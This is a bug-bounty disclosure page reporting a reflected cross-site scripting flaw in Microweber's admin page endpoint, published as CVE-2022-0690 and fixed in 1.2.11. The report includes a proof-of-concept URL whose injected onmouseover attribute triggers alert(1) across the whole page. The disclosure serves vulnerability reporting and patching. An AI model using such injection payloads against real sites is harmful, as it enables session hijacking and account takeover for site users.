

Cross-site Scripting (XSS) - Reflected in microweber/microweber



Valid

Reported on Feb 19th 2022

Description

Hi, The endpoint <https://demo.microweber.org/demo/admin/page> is vulnerable to Cross Site Scripting.

Proof of Concept

just navigate to the poc url:

[https://demo.microweber.org/demo/admin/page/8tojh1%22onmouseover%3d%22alert\(1\)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22yrr2n/edit](https://demo.microweber.org/demo/admin/page/8tojh1%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22yrr2n/edit)

now move your mouse on the page, you will see a xss popup.

(login if site asks)

Impact

Cross site scripting attacks can lead to account takeover via cookie stealing, temporary site deface, redirecting users to attackers controlled sites etc.

CVE

CVE-2022-0690

(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Reflected

Severity

High (8.8)

Visibility

Public

Status

Chat with us

Fixed

Found by



Damanpreet
@daman-preet-singh

unranked ▼

Fixed by



Peter Ivanov

@peter-mw

maintainer

This report was seen 427 times.

We are processing your report and will contact the **microweber** team within 24 hours.
9 months ago

Peter Ivanov validated this vulnerability 9 months ago

Damanpreet has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Peter Ivanov marked this as fixed in **1.2.11** with commit **f7f5d4** 9 months ago

Peter Ivanov has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us